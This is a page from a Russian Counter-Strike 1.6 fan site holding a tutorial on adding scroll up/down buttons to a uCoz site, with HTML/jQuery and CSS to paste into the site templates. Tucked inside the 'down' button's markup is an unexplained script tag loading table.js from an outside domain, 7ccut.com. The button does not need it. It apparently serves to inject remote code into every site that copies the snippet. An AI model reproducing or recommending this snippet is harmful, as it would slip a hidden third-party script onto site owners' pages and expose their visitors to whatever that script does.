Суббота, 18.11.2017, 13:04
Всё для Counter-Strike 1.6
Приветствую Вас Гость | RSS
Главная | Регистрация | Вход
Меню сайта

Новости CS
Обновление и прочее
Турниры CS:GO

Файлы для CS 1.6
Плагины
Карты
Готовые серверы
Патчи
Программы
Скрипты
Защита сервера
Звуки
Скачать Counter-Strike
Цветные логотипы
HLTV Models
Моды
Конфиги cfg.
Модели игроков
Модели оружия
Боты
Спрайты
Другие модели

Статьи для CS 1.6
Разное
Об игре
Консольные команды
Про читы
Стишки
Всё о серверах
Распрыг и прыжки
Тактика
Оружие
Понижение пинга
Zombie Plague
Прострелы

Нужно знать!
Собираем сервер с нуля
Как создать модель в Milkshape для CS 1.6
Как сменить текстуры на моделях ?
Как сделать спрайт
Делаем w_ модель из v_ модели
Быстрая закачка звуков и т.п. с вашего сервера
Русификация AMX MOD X
Как понизить пинг в CS
Как записать демку (demo)
Как сделать цветной логотип для CS? by xnj.
Избавляемся от *T.mdl

Категории раздела
CS News [22]
Новости Counter-Strike, Counter-Strike: Global Offensive и так далее...
Турниры CS:GO [10]
Новости по турнирам.

Опрос

Игра лагает, то вы ...
Всего ответов: 532

Главная » 2013 » Декабрь » 7 » Кнопка Вверх и вниз для сайта
20:17
Кнопка Вверх и вниз для сайта
Как правильно установить кнопку "Вверх и вниз" на сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div style="display:none;" class="nav_up" id="nav_up">
  <img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div>
  <div style="display:none;" class="nav_down" id="nav_down">
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div>
  <script>
  $(function() {
  var $elem = $('body');
   
  $('#nav_up').fadeIn('slow');
  $('#nav_down').fadeIn('slow');  
   
  $(window).bind('scrollstart', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'0.2'});
  });
  $(window).bind('scrollstop', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'1'});
  });
   
  $('#nav_down').click(
  function (e) {
  $('html, body').animate({scrollTop: $elem.height()}, 800);
  }
  );
  $('#nav_up').click(
  function (e) {
  $('html, body').animate({scrollTop: '0px'}, 800);
  }
  );
  });
  </script>


Это вставляем в "Таблица стилей (CSS)" в самый низ

Код
.nav_up{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:30px;
  cursor: pointer;
  }
.nav_down{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:66px;
  cursor: pointer;
  }


Готово.
Просмотров: 111 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Мой профиль
Гость

Сообщения:

Группа:
Гости
Время: 13:04

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь! Вход Регистрация

Скажи нет читам!!


Мини-чат

Поиск по сайту

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0


Нас сегодня посетили:

Архив записей

Мы В Контакте


Copyright xnj © 2017                           coolserver.ucoz.ru - сайт клана Fpg.Elay. Создать бесплатный сайт с uCoz